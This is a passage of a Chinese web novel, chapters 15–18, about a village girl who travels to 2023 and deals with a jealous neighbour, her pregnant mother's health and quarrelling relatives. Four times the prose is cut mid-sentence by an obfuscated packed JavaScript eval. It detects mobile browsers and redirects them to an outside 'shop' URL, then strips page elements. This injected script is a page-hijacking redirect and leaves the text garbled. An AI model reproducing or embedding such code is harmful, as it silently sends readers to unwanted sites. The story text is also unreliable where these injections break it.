赵卫国借着从门外透过来的月光，看见赵小芸肩上扛着东西，手里也还提着，连忙过去接过来：“怎么买这么多东西？” 陈翠芳说：“先别问了，都这么晚了有什么明天再说……小芸，你赶紧去睡觉。” “嗯，爸妈你们也赶紧睡。”赵小芸摸黑爬上床，小心翼翼地避开妹妹。 又是一觉睡到天亮，不过这次赵小芸没有睡过头，看太阳估计早上七点多，下地割麦子的人已经割完一波回来吃早饭了。 赵小芸站在屋门口伸了个懒腰，身体舒展开，睡了一夜睡得僵硬的筋骨得到松缓。 她对坐在院子里编竹席的赵卫国打招呼：“爸！” 赵卫国手里编着竹席，回头看了赵小芸一眼：“咋不多睡会儿？” 闺女工作到那么晚回来，他嘴上不说，心里却十分心疼。 “睡醒就睡不着了。”赵小芸去打水洗脸刷牙，牙刷已经起毛，不太好用。 不过也比其他人家里好多了，村里大部分人都是不刷牙的，买牙刷更是被认为是浪费钱。 赵小芸洗漱完，就见弟弟妹妹从后院出来，玲玲手里抓着一把葱和一把豇豆，小宇抱着几个茄子。 两个小家伙看见赵小芸，眼睛瞬间一亮。 赵晨玲像只欢乐的小兔子一样跑过来：“姐姐你起床啦！姐，你昨天去哪儿了？咋回来那么晚啊，我到睡觉时间你都还没回来！” “姐有事去远门了。”赵小芸指着赵晨玲手里的葱和豇豆，“这是今天早上要吃的菜吗？” 赵晨玲还没说话，灶房里传出陈翠芳的声音：“玲玲小宇，菜摘回来了吗？” 赵晨玲扬声回道：“摘回来啦！姐，我先去洗菜。” 赵晨宇抱着茄子站在旁边憋红了脸，小声说：“姐，那个奶茶……” “对对对！奶茶！”赵晨玲猛地想起来要问姐姐的事儿，“姐，今天是不是还有奶茶喝？我和小宇看见堂屋桌子上有满满两大搪瓷缸奶茶。” “有，往后三天每天都有”赵小芸笑着摸了摸赵晨玲毛茸茸的头发，“等会儿吃完饭姐给你扎辫子。” “嗯嗯嗯！”赵晨玲高兴地点头如小鸡啄米，姐姐梳的头发最好看了！ 两个小家伙儿去洗菜，赵小芸回屋里拿了两块鸡蛋糕去找方夏生。 方夏生一天从早到晚除了吃饭时间在家，其他时间都下地割麦子，赵小芸要找他，就只能趁着他在家吃饭的这个时间点儿。 她走到与邻居家相隔的篱笆墙前，双手背在身后，朝着正在院子里扫地的方夏生喊道：“夏生哥，你过来一下。” 方夏生闻声，立马转身拎着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283928|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫帚跑过来：“小芸，叫我啥事儿？” 赵小芸笑吟吟地说：“你把手伸出来。” 方夏生眨眨眼，看着赵小芸心里有了猜想，但依旧听话地伸出一只手。 与昨天相似的场景，只不过两人角色互换。 赵小芸往下瞥一眼方夏生的手，他扫地时手上沾了土，手心里又出了一些汗，土与汗水搅和一起，脏兮兮的。 赵小芸好险把鸡蛋糕拿出来放在这只脏手上：“你先去把手洗干净。” 方夏生瞅着自己的脏手，嘿嘿笑了下解释：“是我刚才扫地弄脏的。”可不是他不讲卫生。 他放下扫帚回去洗手，仔仔细细连指甲缝里都洗干净了。 方夏生回到赵小芸面前，重新伸出手，目不转睛地看着她。 赵小芸拿出一块鸡蛋糕放在方夏生手上：“还你昨天的鸡蛋。” 方夏生垂下眼睛盯着鸡蛋糕，对于这份疏离和见外，心里莫名有点儿失落。 然而不等他捕捉到这点儿失落，赵小芸又笑哈哈地拿出另一块鸡蛋糕放在他手上：“夏生哥，生日快乐！” 方夏生惊喜！ 赵小芸看着方夏生脸上冒出的傻笑，说道：“对不起呀夏生哥，我昨天忘了是你生日，还把你的生日鸡蛋吃了。” 方夏生心里乐的冒泡，脸上更不吝啬笑容：“本来就是我自己要送给你鸡蛋吃的……这个鸡蛋糕我就收下了，谢谢你的生日礼物，我很喜欢！不过我要一块就够了，这块给你吃。” 赵小芸摇头拒绝：“送给你的就是你的了，哪能再要回来？再说了，我家里还有，夏生哥你就放心吃吧！” 方夏生稍一犹豫，心里想着往后再弄鸡蛋或者其他好吃的给赵小芸：“行，那我就收下了。” 坐在院子里编竹席的赵卫国，突然往闺女这边瞄了一眼，也没做声，继续手里的活儿。 赵小芸见方夏生收了鸡蛋糕，说道：“夏生哥你继续扫地吧，我回了。” “小芸你等下！”方夏生叫住转身的赵小芸，问道，“你昨天下午去哪儿了，怎么到晚饭那会儿都还没回来？你昨天晚上啥时候回来的？” “哦，我……”赵小芸眼睛一眨，脑子里就想出来了说法，“我昨天去供销社了，这个鸡蛋糕就是从供销社买的，我是走路去的，路上花费时间比较多，回来的就晚了一些。” 方夏生皱眉：“那你回来的时候天都黑透了吧？” 赵小芸点头，可不是嘛，她回来时都夜里十一点多了，天早就黑的透透的了。 方夏生被赵小芸点头点的心惊肉跳：“你以后晚上可不能再回来那么晚了，天黑路不好走。还有，虽说咱们村子周边治安还不错，但远了可不能保证，走夜路谁知道会遇见什么危险，万一出事呢？你要是……要是下次再去供销社，就……”叫上我，我陪你去。 后面半句话还没说完，赵小芸就笑盈盈地说：“夏生哥你放心，昨天晚上有人送我回来，我不会出事的。” “……” 方夏生嘴角的笑容突然变得有些勉强：“哦——谁送你回来的，我认识吗？叫什么名字？” 15. 醋味儿 “你不认识，他叫齐宏。”赵小芸没发现方夏生细微的变化，想着自己穿越时空的奇遇，还有未来2023年世界里的神奇种种，语气带着无法忽视的激动说道，“是我新认识的朋友。” “听名字像是男同志？”方夏生语气平平，像是随口一问。 “嗯，就是男同志。”赵小芸说起齐宏，笑容挺灿烂，“虽然是男同事，但是他既细心又贴心，特别会为别人的感受考虑……昨天晚上我碰见他，他担心我一个女孩子走夜路不安全，主动提出骑车送我回来。” 方夏生的脸都木了，偏偏自己还没察觉，拧着眉冷声道：“你们才刚认识，对方是什么品性你知道吗？万一他对你生了什么歹心怎么办？” 赵小芸笃定道：“不会的，齐宏是好人，他帮了我很多呢。” 方夏生冷笑一声：“知人知面不知心，说不定他肚子里就藏着坏水……小芸，你最好还是和对方保持距离。” 赵小芸觉得方夏生说话莫名有些刺耳，不太高兴道：“夏生哥，你都没见过齐宏，怎么能随便评判别人说人家坏话，你也太偏颇了。” 方夏生没料到赵小芸竟然会是这个态度，一时间没反应过来：“我……我是担心你。” 赵小芸掷地有声：“你就算担心我也不该说这种话，齐宏是我的朋友！” “我也是你朋友，你怎么那么维护他？”方夏生忍不住反驳，脸上也带出不悦。 “夏生哥，你讲讲道理好吧？正因为你是我朋友，才不应该说我另一个朋友的坏话！” 赵小芸气愤，忍不住拔高了声音：“齐宏是我的朋友，我知道他是什么品性，你不讲道理平白污蔑人家，我当然要维护他。” “夏生哥，你也是我的朋友，你想想看，要是有人说你坏话，我却不维护你，你会高兴吗？” 当然不高兴！ “可是这不一样。”方夏生依旧觉得心里不舒坦，还有被朋友抛弃的酸涩委屈，忍不住辩解道，“我和你认识多少年了，那个齐宏才和你认识几天？为什么你对他比对我都好？为了他你还吼我！” 赵小芸嘴角抽搐，这都是什么歪理？ “夏生哥，我没有对他比对你好，我只是在跟你讲道理。还有我哪里吼你了？我只是说话声音比较大而已，而且要不是因为你说我朋友坏话，一点儿道理都不讲，我也不会被你气到，冲你大声说话。” “还有啊……” 赵小芸十分无奈地叹口气：“夏生哥，就因为我交了一个新朋友，你就吃醋，冲我闹别扭，怎么像个小孩子一样幼稚？你放心，我就算有了再多新朋友，也不会忘了你这个老朋友的。” 方夏生黑线：“我没吃醋。” 自己怎么就像小孩子，怎么就幼稚了？ 我可比你大多了好吗？ 不过自己的确有些冲动了，说话方式不太妥当，方夏生怀疑是年轻壳子的锅，正值青春年少的十八岁，的确容易激动上头。 “小芸，对不起，我不会说话，是我错了。”成熟的成年人就应该学会果断承认自己的失误。 方夏生认真地看着赵小芸的眼睛，诚恳认错：“我错了，我不应该关心则乱，连人都没见过，就胡乱下结论说那个齐宏不是好人，我真的知道错了。” “你知道错了就好……”方夏生突然认错，让赵小芸反而不好意思了。 方夏生嗓音压低，温柔十足：“那你别生我气了好吗？” “我、我也没生你的气。”赵小芸莫名的脸有些发热，小声嘀咕，“认错就认错，干嘛这么肉麻兮兮地说话。” 方夏生看着赵小芸轻笑。 赵小芸脸红，羞恼地瞪了他一眼：“笑什么？” 方夏生更想笑了，赵小芸脸红起来还挺可爱。 赵卫国编好一张竹席放在旁边，又朝闺女这边瞅了一眼，看着俩人从斗嘴到和好，忍不住笑着说道：“俩都是没长大的小孩儿。” 赵小芸冲方夏生一挥手：“不跟你说了，我回去吃饭了。” 方夏生看着赵小芸跑走的背影，拿起鸡蛋糕咬了一口。 鸡蛋糕绵软香甜，甜而不腻，有一点半熟芝士的口感，方夏生诧异地看向鸡蛋糕。 被咬了一口的鸡蛋糕露出细腻蓬松的内部，赵小芸说是从供销社买的，但方夏生吃过供销社的鸡蛋糕，并不是这个口感和模样。 供销社的鸡蛋糕口感略微偏硬、偏干，内里没有这么细腻，甜味也没有这么柔和。 方夏生怀疑地看向赵小芸：“真的是从供销社买的鸡蛋糕？” …… 赵小芸跑进灶房里：“妈，饭好了吗？今天早上吃什么？” 她走到灶火前帮忙烧火：“妈，我昨天买回来的大米和白面你尽管拆开吃，吃完我再买。” 陈翠芳笑呵呵地说道：“今天早上就是吃的你带回来的大米和白面，我煮了大米粥，再烙几个葱油饼，你这几天上班得累坏了，可得吃好的补补。” “不过你咋买那么多精细粮？我瞅着那大米和白面都白的哟……比棉花都白！我就没见过这么白这么干净的大米和白面，这得多贵啊！” “你咋不买点儿粗粮，你不是说你那工作就只能再干四天吗？往后能不能找到工作还是两说，可不能为了一时享受坐吃山空。” 新添加进去的柴火烧的噼里啪啦，迸溅出几个火星，赵小芸往后挪了挪，说：“妈，不是我不买粗粮，你是不知道，那边的粗粮比精细粮都贵。” 陈翠芳不信：“咋可能！粗粮咋会比精细粮贵？你别是为了给我补营养，故意编这种瞎话骗妈吧？” 赵小芸哭笑不得，要不是自己亲眼所见，她也不会相信：“妈，是真的！我要给你补营养买的是牛奶，牛奶可比精细粮更贵，牛奶我都买了，怎么可能为了几斤精细粮再编瞎话骗你？” 陈翠芳一想也是，但粗粮比精细粮贵…… 她摇摇头：“这也太离谱了。” “可不是！”赵小芸一脸赞同，“对了妈，我买的牛奶你可得记着喝，我吃完饭就去大院那边抓一只母鸡回来，往后你每天至少吃一个鸡蛋喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283929|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一盒牛奶。” 当初买鸡苗的钱还是自家出的，凭什么分家后不分给自家母鸡？ 除了母鸡，还有自家的马蹄表也要拿回来。 “你咋还买了一箱牛奶，得多贵啊！”陈翠芳低头看了一眼自己的肚子，微不可察地叹了口气，“母鸡就别想了，你当你那几个叔伯大娘婶子是好相与的？当初分家咱家没要到母鸡，现在他们更不会给。” 赵小芸撇嘴冷哼：“他们就是看你和爸好说话，所以就逮着咱们家欺负！” 不给是吧？不给她就抢，反正马蹄表和母鸡她要定了！ 等把母鸡抓回来，下了鸡蛋给家里加餐，妈补营养得多吃鸡蛋，一只母鸡下的蛋不够吃她就去那边的世界买。 赵小芸微微偏了偏头，看正在揉面准备烙葱油饼的陈翠芳，她的小腹微微隆起，但因为身体过瘦，肚子隆起的弧度看在她眼里格外明显。 她看的有些出神，自从超市阿姨给她说过那些话后，她就一直惦记着，心里怎么都平静不下来。 赵小芸想和妈说说关于高龄产妇的事儿，努力在心里打腹稿，想了好几种说法，却觉得怎么说都不太妥当。 她不想让妈因为孩子的事儿难过。 不过，她更不想让妈出事。 当初妈怀玲玲和小宇时就给她落下了极大的阴影。 因为是双胞胎，比怀一个孩子的孕妇更辛苦，生产时也不顺利。 她那时已经七岁，已经记事儿，不过十年过去，许多记忆已经模糊，但对于妈生产时的一些记忆却格外深刻，甚至直到十年后的今天，那些画面依旧仿佛如昨日般鲜活。 赵小芸清楚地记得妈痛苦到扭曲的脸，还有血，很多血。 恍惚中仿佛看到昔日布满视野的一片鲜红。 赵小芸心跳加速，呼吸困难，突然脱口而出：“妈，这个孩子你要生下来吗？” “啥？”陈翠芳莫名其妙，笑着说道，“孩子不生下来难道还能一直揣在肚子里？” 赵小芸心说我不是这个意思，不过真的开口之后，她反而没了那种心悸憋闷感，再往下说就没那么困难了。 “妈，吃完早饭后我有非常重要的事情跟你和爸谈谈。”赵小芸一脸严肃凝重。 “谈啥……” “妈，菜洗好了。”赵晨宇和赵晨玲拿着洗干净的菜进来。 “先放那儿吧！”陈翠芳被闺女过于严肃郑重的态度弄的心不在焉。 小芸说要谈啥啊？闺女突然是咋了？ …… 早饭做好后，赵小芸帮着端饭，今天的早饭依旧丰盛，大米粥、葱油饼，炒豇豆和炒茄子。 大米粥的米香味儿格外浓郁，葱油饼外面金黄酥脆，撕开后里面分层暄软，加上点缀的葱花，更多了一层风味儿。 赵晨宇吃了一口葱油饼，激动得小脸通红：“真香！” 赵晨玲好奇问道：“爸妈姐姐，咱家这两天咋吃的这么好？好像过年啊！” 说着小脑袋一歪，想了想又改口：“比过年都好。” 16. 重要谈话 赵小芸吹了吹碗里的米粥，回答妹妹的疑问：“因为咱家里爸爸妈妈和我都需要吃好的补营养，养好身体，还有你们俩，你们正是长身体的时候，要吃的有营养将来才能长得又高又壮。” “柜子里有一箱牛奶，吃完早饭你们俩拿一盒一起喝。 “另外，咱们家吃的喝的这些东西，千万不能往外说，要是让你们大伯三叔四叔他们家知道，肯定又要来咱家抢吃的了，到时候咱们没得吃就得饿肚子，记住了吗？” 兄妹俩小人儿用力点头，异口同声：“记住了！” 吃过早饭，赵小芸把鸡蛋糕和蜜三刀切成小块分了分。 大家喝着奶茶吃着鸡蛋糕蜜三刀，虽然每人只能吃到小小一口，但高糖高油的甜食吃进嘴里让人万分满足。 赵晨玲嘴里含着蜜三刀，舍不得吞进肚子里，嘴里含含糊糊地说道：“姐，已经吃完饭了，现在开始给我扎辫子吗？这次给我扎什么辫子呀？上次你给我编的四股麻花辫子我朋友们都特别羡慕，说特别好看，要不还扎这个？” 赵小芸滋遛滋遛喝着奶茶，脑海里冒出身穿粉蓝裙子，像个小仙女一样的女孩子，说道：“今天不扎麻花辫，姐姐给你扎个更好看的……来，坐我跟前。” 赵晨玲瞪着圆溜溜亮晶晶的眼睛，搬着小板凳坐在赵小芸前面，一脸期待。 赵小芸回忆着刚去2023年那天，在红绿灯路口遇见的小女孩。 对方辫的小辫子特别好看，赵小芸凭着记忆中的印象，给妹妹左右两边各编了三四根非常细的小麻花辫，再梳拢起披散的头发，与小麻花辫一起扎起来，两个大辫子像两只兔耳朵一样垂下来。 赵小芸又去院子里掐了两朵黄色小野花，回来给妹妹插到辫子上。 赵晨玲甩了甩辫子，一脸美哒哒的：“真好看，谢谢姐！姐，爸妈，我和小宇去地里捡麦穗啦！” 赵晨宇和赵晨玲精神十足地跑走了。 赵小芸见弟弟妹妹跑出去后，拎着板凳从门口回屋里，坐在爸妈对面，面色严肃：“爸，妈，我有很重要的事情要和你们谈谈。” 赵卫国一头雾水：“闺女，出啥事儿了？” 陈翠芳对上赵小芸严肃认真的眼神心里忐忑极了，想着做早饭时闺女突然蹦出来的那句话，屁股底下像是坐到了刺猬。 “关于门那边的世界我有新发现。”赵小芸没有一上来就说怀孕生孩子的事儿。 赵卫国一听这个，顿时来了兴趣：“什么新发现？” 陈翠芳也暂时忘了心里的不安。 他们虽然看不见门，但只听赵小芸的描述，还有她从那边买回来的东西，都足以让他们对门另一边的世界感到无比好奇。 赵小芸说：“门另一边的世界其实是未来，是咱们这里再过几十年后的世界，现在那边是2023年。” 赵卫国震惊：“未来？2023年？” “对！就是未来。”赵小芸一脸感慨地说道，“咱们国家未来的发展变化真的太大了！” 国富，民强，这是全国人民的愿望。 未来的国家实现了人民的愿望，而且远超现在人们的想象，如果不是亲眼所见，谁也想不出未来的国家是多么的富足强大。 “真好！”赵卫国一脸憧憬和期待，自己很幸运，可以证祖国富裕强大的过程。 即便可能见不到闺女说的2023年的世界，但能看见祖国越来越好的部分过程，他也十分满足了。 赵小芸见两人神色轻松，这时再听见什么不好的消息想来也没那么难受了。 “还有一件事，说来也巧，门后连着的地方，竟然是未来的咱们家。” 陈翠芳惊奇：“门那边是咱们家？你见到未来的家人了？” 赵小芸摇头：“家里没人，应当是都搬走了，我是在房间里看到一张咱们家的全家福照片，才猜测那是咱家的。” “那张照片……”赵小芸语气微变，声音很轻地说道，“照片上有我，爸，还有玲玲和小宇。” 赵卫国眉头一皱：“照片上没有你妈？” “没有。”赵小芸看看赵卫国，再看看陈翠芳，“一张照片说明不了什么，或许说不定那并不是全家福照片，当日只是妈被什么事耽搁了，才没有一起去照相，又或者……将来爸妈你们感情不和，离婚了呢？” 此话一出，陈翠芳和赵卫国同时脸色巨变。 陈翠芳朝着旁边的地上“呸呸呸”几口，指着赵小芸的手指头差点儿戳她脑门上：“你这丫头胡说八道什么呢！” “我和你妈咋可能会……”那两个字赵卫国都不想说，不过气氛稍缓，他铁青的脸色总算是没那么难看了。 感情不和、离婚什么的，赵卫国觉得不可能，但是闺女说的照片的事儿他不能不多想。 陈翠芳看了一眼赵小芸，想着闺女在灶房时和自己说的那句话，低头瞅了瞅自己的肚子，倒是猜出闺女的意思了： 难道说自己这胎会有危险？ 赵小芸见爸妈都陷入沉思，又说道：“我在门那边的超市买东西时遇见一个阿姨，阿姨提醒我说高龄孕妇比较危险。” 赵卫国心里顿时一咯噔：“你是说你妈是因为这一胎会……那照片上才没有……” 某些字是忌讳出口的，赵卫国也不敢说。 “我不知道。”赵小芸嗓音轻颤，深呼吸了几口气才勉强平复下来，继续说道，“我说了，只是一张照片说明不了什么，但任何可能的危险都必须考虑。” “爸，妈，我告诉你们这些，只是觉得事情可能很严重，想让你们重视。当然，我更希望是我杞人忧天。不过安全起见，我建议妈去医院检查检查身体。” 赵卫国的神色没轻松分毫：“检查！必须检查！” 赵小芸轻轻吐出一口气，她没说照片里弟弟妹妹疑似长歪的事儿。 玲玲和小宇都是很乖很懂事的孩子，肯定是家里出现重大意外才导致两人受影响。 现在她不会让家里出事，两人肯定会幸福长大。 赵小芸见赵卫国脸色凝重，陈翠芳欲言又止， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283930|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神色有些不安。 妈怀着孕，情绪敏感，多思伤神，不能让她一直这样，否则对身体不好。 如果不是这件事必须要落在妈身上，她是不可能直接告诉妈的。 赵小芸开导两人：“爸妈你们放心，我突然有这种不可思议的奇遇，就说明咱家有福。等我这几天的活儿干完，咱们一起去省城医院检查，你们就安下心吧，不会有事的。” 赵卫国附和：“对，不会有事的。” 赵小芸去柜子里拿出一盒牛奶，回来塞到陈翠芳手里：“妈，你别担心，你现在就吃好喝好睡好，把身体养好了，什么事儿都不会有。” 陈翠芳心里倒也不是特别害怕，不安的确有一些，不过看着关心自己的父女俩，再看看手里的牛奶，突然就放轻松了。 闺女说的对，她有这奇遇是自家的福气，以后家里的日子一定会越过越好。 陈翠芳把吸管插上，吸了一口牛奶，笑着说道：“行了，我又不是小孩儿，我没事的。” 赵小芸看着妈脸上释然轻松的笑容，心安下去一半，也笑了下说道：“那我现在去一趟大院那边，把咱家的马蹄表拿回来，再抓一只母鸡，以后天天给妈吃鸡蛋补身体。” 赵卫国担心闺女吃亏，说道：“爸陪你一起去。” 陈翠芳放下牛奶赶忙道：“我也跟你们一起去。” 赵小芸想着大院那边人多，自己一个人过去的确太势单力薄了些，就说道：“爸和我一起去吧，妈你在家歇着，三叔家那个欠揍的臭屎蛋是什么臭德行你也知道，万一没轻没重撞到你身上可就危险了。” 自己脑袋磕破差点儿没命，就是那个臭屎蛋趁她不注意故意推的她。 臭屎蛋本名赵金蛋，是三叔三婶儿生了两个闺女后，好不容易盼来的儿子，因此对他溺爱的不行，要星星不给月亮，把赵金蛋养成了无法无天的性子，什么调皮捣蛋捉弄人的事儿都敢干，特别惹人嫌，是赵小芸最讨厌的小孩儿。 赵金蛋有一次恶作剧捉弄人，谁知孽力反馈到自己身上，被他捉弄的人没事，反而是他自己掉进了粪坑里，因此得了个臭屎蛋的外号。 …… 父女俩到了大院这边，闹哄哄的一大家子也刚吃完饭不久，大伯母和堂妹正在院子里刷碗。 几家人挤在一个院子里住，人多就避免不了矛盾也多，谁都不是吃亏的性子，谁都不想吃亏，所以做饭洗碗、喂鸡喂猪、给菜园子浇水等等家里的杂活儿，各家都是轮流来。 赵小芸的视线首先落在曾经属于自家的房子上，那是一大间宽敞的屋子，里面隔成了两个小房间，坐北朝南，一天到晚都能晒到太阳，位置特别好。 这栋房子是前几年新盖的，当时大伯三叔四叔都有帮忙盖房子，自家住上了新屋子，对他们非常感激。 然而盖房子的钱是自家出的，当时爸还特意买了东西邮寄回来给大伯三叔四叔，感谢他们帮忙，所以实际上他们并没有吃亏。 如今屋子被重新拾掇了一遍，给堂哥赵大满当结婚新房。 17. 弄坏马蹄表 赵小芸的视线从屋子上收回，推开没什么阻挡作用的篱笆门，走进院子里喊了一声：“大伯母。” 李红霞回头看了一眼：“哟！小芸和二弟咋过来了？来的可真不巧，家里刚吃完早饭。” 赵小芸没理会大伯母生怕被占便宜的态度，直接问道：“大伯母，我家的马蹄表呢？” “你家的马蹄表？”李红霞下意识反问了一句，赵卫国买回来的马蹄表一直是各家公用的，用到现在，都忘了这是属于赵小芸家的表。 赵小芸气笑了：“大伯母，不是我家的马蹄表，那是谁家的？” 李红霞反应过来，态度突然大变，竟然冲着赵小芸笑了下：“我可没拿你家的马蹄表，你家的表啊，被你三婶抢去了，现在就在她那屋子里放着呢。” 赵大满结婚，李红霞本来打算把马蹄表放儿子新房里，等新娘子嫁过来那天，让新娘子和那边的亲戚都看看，自家得多长脸面啊！ 谁知道竟然被王春花给抢走了！ 王春花说自行车和新房子都被他们老大家占去了，她家什么都没有，不公平，说什么都要把马蹄表拿走，不然她就闹得家里不安宁。 王春花还真闹了几次。 最后，公公婆婆为了家宅安宁，拍板决定把马蹄表给了老三家。 李红霞都快气死了，本来她就和王春花不对付，这下子梁子结的更大了。 现在赵小芸过来要马蹄表，她乐得看热闹。 赵小芸直接走到三叔三婶的屋门前，象征性地敲了下门：“三叔三婶在家吗？”喊着直接推开了门。 屋子里，三叔三婶的儿子赵金蛋正趴在床上祸祸马蹄表。 马蹄表前面的透明盖子不知道怎么被赵金蛋给抠了下来，他正用手指头拨弄表针，转了一圈又一圈。 赵小芸怒火往头顶涌：“臭屎蛋！” 赵金蛋猛不丁被吓的一哆嗦，马蹄表从手里掉到床上。 赵小芸冲过去把表抢到手里，仔细一检查，不止是前面的盖子，后面的电池也给抠了下来，气得她想狠狠揍赵金蛋一顿：“臭屎蛋，电池呢？” 赵金蛋先是一愣，接着才反应过来自己的表被抢走了，从床上爬起来，轮着胳膊往赵小芸身上打：“你还我的表！还我的表！贱妮子，赔钱货！还我的表！” 赵小芸就防着赵金蛋撒泼呢，见他一动，立马灵活地往后躲，没让他打到身上，又听他嘴里骂的脏，顿时皱起眉。 三叔三婶重男轻女，好不容易得了宝贝儿子，全部宠爱都给了他。 至于前面生的两个女儿，仿佛不是自己生的孩子，一不顺心就对她们非打即骂，赵金蛋就是听了他们骂闺女的脏话学了去。 赵卫国跟着赵小芸进来，就站在门外，听见屋里的动静，板着一张脸进来，不怒自威：“赵金蛋你干什么呢！还敢对你姐动手？” 赵卫国一瘸一拐走进来，一把抓住赵金蛋胡乱挥打的胳膊往床上一甩：“没大没小！不懂一点儿礼貌。” 赵金蛋摔到床上，哇地一声鬼哭狼嚎：“死瘸子！你敢打我，我让我爸打死你！” 赵卫国常年不在家，赵金蛋虽然知道他是自己二伯，但对他根本不熟，冲着他也敢张嘴就骂。 赵卫国惊呆了，他知道这个侄子被三弟和三弟妹过于娇惯溺爱，有些被宠坏了，但现在这个模样已经不是宠坏，是蠢坏！ 赵卫国上前抓住赵金蛋，把他翻了个个，一巴掌呼扇到他屁股上：“混账小子，连长辈你都敢骂，你的礼貌呢？” 赵金蛋嗷嗷大叫，刚才是装的，现在被打疼屁股，倒是真叫了。 “放开我！放开我！爸！妈！救我，有死瘸子打我！”赵金蛋扯着嗓子哭嚎，在赵卫国手底下拼命扭动身体，双腿乱踢腾，被养出的一身肥肉全力挣扎起来，力道还不小。 赵卫国的脸色更黑了，一巴掌接一巴掌更用力地打在赵金蛋屁股上。 就在这时，赵家老三赵卫民和他媳妇王春花跑了过来。 “二哥！有啥事你好好说，咋能对孩子动手呢？” 赵卫民和王春花看见被打的儿子，心疼坏了，情急之下直接动手扯赵卫国，两人心焦急躁之下，用的力道过猛，加上赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14283931|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫国一条腿不便，直接把他拉扯了一个踉跄。 “爸！”赵小芸赶紧上前扶住，好悬没摔到地上。 赵卫国瞪着眼睛不敢置信地看着两人。 赵卫民和王春花满心满眼只有儿子，根本没注意到赵卫国差点儿被他们拽倒。 “宝贝儿子，被打坏了吧？疼不疼？” “不哭不哭，爸给你煮鸡蛋买大白兔奶糖吃好不好？” 赵金蛋一见靠山来了，更嚣张起来，指着赵卫国说道：“爸妈，他打我，你们帮我打回去。” “说啥呢金蛋儿，那是你二伯。” 赵卫民回头对赵卫国无奈地笑了下：“二哥，金蛋儿被我和他妈宠坏了，小孩子胡言乱语，你别放在心上。” “不过二哥，金蛋儿就算是冲你说了什么难听话，他一个小孩子什么都不懂，你找我说啊，咋能动手打孩子呢？我和春花就这么一个宝贝儿子，你说你要是打坏了可咋整？” 赵卫国怀疑自己的耳朵出毛病了，难以置信道：“赵卫民！你知道自己在说什么吗？我看你才是在胡言乱语胡说八道！” “你看看你儿子赵金蛋——”赵卫国指着赵金蛋，“你仔细看看，他今年都十二岁了，不是两岁！竟敢冲着长辈骂脏话，甚至对亲姐辱骂动手打人，你是怎么教孩子的？” “别给我说他什么都不懂，就是头猪教到十二岁也能成精了！我知道你们夫妻俩比较溺爱孩子，可我是真没想到啊，你们竟然把孩子教成这么一副蠢毒样子。” 赵卫民一脸不满道：“二哥你怎么能这么说我儿子！” “你给我闭嘴！”赵卫国厉声呵斥，“你还有脸说？你是当爹的，对儿子应该言传身教，你看看你是怎么做的？不教好的，还带头教坏孩子，你听听赵金蛋嘴里骂的那些腌臜话，我真想抽死你！” 赵卫民嘴一撇，不以为意：“二哥你也太小题大做了，和一个孩子较真置气干什么？金蛋儿是男孩儿，说几句浑话碍啥事了？ “再说了，我就这么一个宝贝儿子，将来就指望他给我养老呢，我可不得多宠着点儿？” 18. 赔钱 赵卫国怒沉着脸，上前两步，冲着赵卫民脸上一拳砸下去。 “混账东西！”赵卫国能跟赵卫民耐着性子好好说这么多话，已经是这些年退居后勤岗位后，修身养性修养出来的。 他当兵多年，曾经执行过许多危险任务，手底下也带过一些兵，军人令行禁止、服从命令是天职，这一套已经被他刻进骨子里。 赵卫民这么听不懂人话，在赵卫国眼里，就是故意跟他胡搅蛮缠。 赵卫民被赵卫国这一拳瞬间砸懵了，紧接着才感觉到疼，疼痛如钝刀割肉，他“啊”地惨叫起来。 “卫民！”王春花扑上去扶起赵卫民，“卫民你没事吧？” 赵卫民的舌头磕在牙齿上，磕破出血，疼得他浑身抽抽。 王春花扭头对赵卫国怒目而视：“二哥，有什么话不能好好说，你怎么能动手打人？打了我儿子不说，竟然又打了我男人，你就是看我们好欺负是吧？” “这么些年你在部队里，二嫂小芸小宇玲玲我们没少照顾，没有功劳也有苦劳吧？可你是怎么回报我们的？打我们儿子，打你亲弟弟，没你这么欺负人的！” 